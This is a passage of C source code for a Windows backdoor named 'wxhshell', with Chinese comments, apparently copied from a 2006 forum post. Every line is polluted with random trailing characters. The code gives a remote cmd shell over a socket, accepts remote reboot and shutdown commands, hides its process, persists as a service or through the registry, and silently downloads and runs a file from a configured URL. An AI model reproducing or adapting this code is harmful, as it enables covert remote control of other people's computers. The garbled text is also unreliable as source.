    switch(cmd[0]) { p6AF16*f0  
  i}=n6  
  // 帮助 7wz9x8\t  
  case '?': { S3N+ 9*i K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A81'ca/  
    break; wmDO^}>ZP  
  } TMw6 EM  
  // 安装 }MIg RQ9  
  case 'i': { X0 ^~`g  
    if(Install()) EN/r{Cm$B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mhW*rH*m  
    else yB5JvD ?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #t<  
    break; r0/aw  
    } )F'r-I%Hi  
  // 卸载 77H"=  
  case 'r': { n%K^G4k^  
    if(Uninstall()) rGm xK|R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z]HaE|j}S  
    else 1{-yF :A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bZlKy`Z  
    break; K:q|M?_  
    } Y|nC_7&Bv  
  // 显示 wxhshell 所在路径 r?2J   
  case 'p': { +[2ep"5H  
    char svExeFile[MAX_PATH]; 3,^.  
    strcpy(svExeFile,"\n\r"); ngOGo =  
      strcat(svExeFile,ExeFile); l}_6 _g>6  
        send(wsh,svExeFile,strlen(svExeFile),0); oxNQNJ!X  
    break; bc]SY =  
    } fJD+GvV$x  
  // 重启 ?)O!(=6%'  
  case 'b': { 0)]?@"j  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {NUI8AL46A  
    if(Boot(REBOOT)) ["WWaCcx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U28frRa  
    else { ] XjL""EbC  
    closesocket(wsh); +lw8YH  
    ExitThread(0); 2?nEHIUT  
    } %\] x}IC  
    break; trz &]v=:  
    } |a!]Iqz"N  
  // 关机 @kWRI*m  
  case 'd': { #pnB+h&tE  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KD`*[.tT  
    if(Boot(SHUTDOWN)) R q`j|tY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); G]zyx"0Sqb  
    else { j1O_Az|3  
    closesocket(wsh); D}~uxw;[^  
    ExitThread(0); yrG=2{I  
    } q,T4- E  
    break; DCKH^J   
    } M \UB r4  
  // 获取shell o&MOcy D  
  case 's': { *nSKIDw  
    CmdShell(wsh); %[x PyqX  
    closesocket(wsh); qF Xx/FZ  
    ExitThread(0); 8EY]<#PN  
    break; ihd^P]  
  } UsgrI>|l  
  // 退出 TjS &V  
  case 'x': { O+"a 0:GM  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3(`P x}  
    CloseIt(wsh); rGlnu.mK^  
    break; n;LjKE  
    } [Om,Q<  
  // 离开 a5?Yh<cJ  
  case 'q': { a= (vS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \Vx_$E  
    closesocket(wsh); 1ZY~qP+n+  
    WSACleanup(); wwE3N[  
    exit(1); .u:aX$t+  
    break; :6J&%n  
        } R(f6uO!m  
  } @?*; -]#)  
  } RMHJI6?LB  
g(dReC  
  // 提示信息 ej,R:}C%`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -I[KIeF  
} '"T9y=9]s  
  } ;_#<a*f  
M9~6ry-_  
  return; D2I|Z  
} 0UhJ I  
%D3Asw/5a  
// shell模块句柄 U(2=fKK;  
int CmdShell(SOCKET sock) kS4YxtvB  
{ RZ|M;c  
STARTUPINFO si; C!U$<_I\2  
ZeroMemory(&si,sizeof(si)); aKintb}n  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; |nBs(>b  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U|Uc|6  
PROCESS_INFORMATION ProcessInfo; XTRF IY  
char cmdline[]="cmd"; ]CDUHz  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); uH)?`I\zrd  
  return 0; .'NTy R  
} +F*h\4ry#  
q6}KOO)  
// 自身启动模式 "c+$GS  
int StartFromService(void) }#S1!TU  
{ "s}Oeu[  
typedef struct gYBMi)`RT  
{ v.hQ 9#:  
  DWORD ExitStatus; $'<FPbUtD}  
  DWORD PebBaseAddress; }Fsr"RER@{  
  DWORD AffinityMask; C;~LY&=  
  DWORD BasePriority; tIS.,CEQF  
  ULONG UniqueProcessId; [I}z\3Z %  
  ULONG InheritedFromUniqueProcessId; ueEf>0  
}   PROCESS_BASIC_INFORMATION; DFvGc`O4  
-us:!p1T  
PROCNTQSIP NtQueryInformationProcess; [5]n,toAh  
pj$kSS|m6-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; k *D8IB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u4$R ZTC  
fZcA{$Vc]N  
  HANDLE             hProcess; }WhRJr`a  
  PROCESS_BASIC_INFORMATION pbi; wVs"+4l<  
^^F 8M0k3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0rvBjlFT  
  if(NULL == hInst ) return 0; F` &W5[  
GK;IY=8W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }R/we`  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); p`EgMzVO,  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); xQl}~G]!  
&G?"I%Vw  
  if (!NtQueryInformationProcess) return 0; n6G&c4g<"  
2.vmZaKP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); CY.4>,  
  if(!hProcess) return 0; qWf[X'  
USaa#s4'  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;y-:)7J  
j{D tjV8  
  CloseHandle(hProcess); m&s>Sn+  
AD+OQLG]`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); .PV(MV  
if(hProcess==NULL) return 0; _Tm]tlV  
UA(4mbz+  
HMODULE hMod; @v3)N[|d  
char procName[255]; z$L e,+  
unsigned long cbNeeded; vK`HgRQ(C  
'$rCV,3q  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {+GR/l\!#  
E M`'=<)V  
  CloseHandle(hProcess); p5% %k-  
c,O;B_}M]  
if(strstr(procName,"services")) return 1; // 以服务启动 H23 O]r  
sPVE_n  
  return 0; // 注册表启动 ,SNt*t1"  
} 3hxV`rb  
6}VFob#h8  
// 主模块 G"tlJ7$myQ  
int StartWxhshell(LPSTR lpCmdLine) V.6pfL  
{ 8I Ip,#%v  
  SOCKET wsl; OCq5}%yU&i  
BOOL val=TRUE; Y]5spqG  
  int port=0; 5W$Jxuyqj  
  struct sockaddr_in door; /Kq'3[d8  
'Ebjn>"  
  if(wscfg.ws_autoins) Install(); &=kb>*  
}"SqB{5e(  
port=atoi(lpCmdLine); wX_~H*m?  
>2= Y 35j  
if(port<=0) port=wscfg.ws_port; 9|[uie  
bub6{MQW8e  
  WSADATA data; zG8g}FrzG;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NqGSoOjIO2  
8!HB$vdw7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   cx ("F /Jm  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); h&n1}W+  
  door.sin_family = AF_INET; s~bi#U;dF  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ~I9o *cq  
  door.sin_port = htons(port); "RM\<)IF  
 UO#`Ak  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QleVW  
closesocket(wsl); z@w}+fYO  
return 1; +95v=[t#Ut  
} Yi)s=Q:  
:YOo"3.]  
  if(listen(wsl,2) == INVALID_SOCKET) { %K.rrn M  
closesocket(wsl); 7!h> < sx  
return 1; IF-y/]  
} Jz3,vV fQ:  
  Wxhshell(wsl); !s?SI=B8  
  WSACleanup(); FvYciU!  
a s('ZD.9  
return 0; -|f0;Fl  
/AyxkXq  
} Y/"t!   
O|)b$H_  
// 以NT服务方式启动 z1 MT@G)S$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6/?onEL9_  
{ eB=&(ZT  
DWORD   status = 0; rGXUV`5Na  
  DWORD   specificError = 0xfffffff; RjTGm=1w  
<P'FqQ]  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 'TuaP `]<  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !c{F{ t-a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; $IjI{%  
  serviceStatus.dwWin32ExitCode     = 0; ,G5[?H;ZN  
  serviceStatus.dwServiceSpecificExitCode = 0; DW78SoyedZ  
  serviceStatus.dwCheckPoint       = 0; $evuL3GY#  
  serviceStatus.dwWaitHint       = 0; Kd5 8'$  
`'sD(e  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^]'_Qbi]}  
  if (hServiceStatusHandle==0) return; esQ$.L  
"tl$JbRTY  
status = GetLastError(); t*-c X  
  if (status!=NO_ERROR) x#N_h0[i  
{ yjMN>L'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; deVnAu =  
    serviceStatus.dwCheckPoint       = 0; y+w,j]  
    serviceStatus.dwWaitHint       = 0; {j;` wN  
    serviceStatus.dwWin32ExitCode     = status; ZTz07Jt  
    serviceStatus.dwServiceSpecificExitCode = specificError; |FM*1Q[1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -W<1BJE  
    return; S4[ #[w`=  
  } _ZFEo< `'  
 o kA<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; "om7 : d  
  serviceStatus.dwCheckPoint       = 0; % @+j@i`&  
  serviceStatus.dwWaitHint       = 0; QIevps*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); noL9@It0  
} s.Bb@Jq  
f,Dic%$q  
// 处理NT服务事件,比如:启动、停止 ,7c Rd}1Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) .RJMtmp  
{ rF"p7  
switch(fdwControl) 3Jlap=]68S  
{ ' h<(  
case SERVICE_CONTROL_STOP: )RvX}y-  
  serviceStatus.dwWin32ExitCode = 0; g#^MO]pY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Iz#4!E|<  
  serviceStatus.dwCheckPoint   = 0; .(.<  
  serviceStatus.dwWaitHint     = 0; B(94;,(  
  { z F.@rXl  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {GLGDEb  
  } jBOl:l,+  
  return; h=:/9O{H  
case SERVICE_CONTROL_PAUSE: b=_k)h+l  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; kaB4[u  
  break; |rwY   
case SERVICE_CONTROL_CONTINUE: rzn,N FI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; \yFUQq:  
  break; wW1\{<hgr  
case SERVICE_CONTROL_INTERROGATE: 4C%pKV  
  break; <Nqbp  
}; {.jW"0U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oD9n5/ozo  
} _"L6mcI6  
|g)>6+?]W  
// 标准应用程序主函数 RK &>!^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *wj5(B<y  
{  16~E  
z]+L=+,,  
// 获取操作系统版本 _UP fqC ?  
OsIsNt=GetOsVer(); o!K DeY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dCTyfXou[=  
OQB7C0+ &  
  // 从命令行安装 HNv~ZAzBG-  
  if(strpbrk(lpCmdLine,"iI")) Install(); Cd"{7<OyM4  
wN4#j}C  
  // 下载执行文件 ]lBCK  
if(wscfg.ws_downexe) { $=N?[h&4  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /B~[,ES@1  
  WinExec(wscfg.ws_filenam,SW_HIDE); J:glJ'4E  
} BDWbWA 6  
'u;O2$  
if(!OsIsNt) { _3yG<'f[Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 +jwHYfAK)  
HideProc(); `w\P- q  
StartWxhshell(lpCmdLine); 9yC22C:  
} tOLcnWt   
else ~vt9?(h  
  if(StartFromService()) :vG0 l\  
  // 以服务方式启动 % J^x `P  
  StartServiceCtrlDispatcher(DispatchTable); ^zQI_ydG  
else 60u_,@rV  
  // 普通方式启动 ~~h#2SX  
  StartWxhshell(lpCmdLine); ~8u *sy  
"^\q{S&q2P  
return 0; s) shq3O  
}
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只看该作者 1 发表于: 2006-10-10
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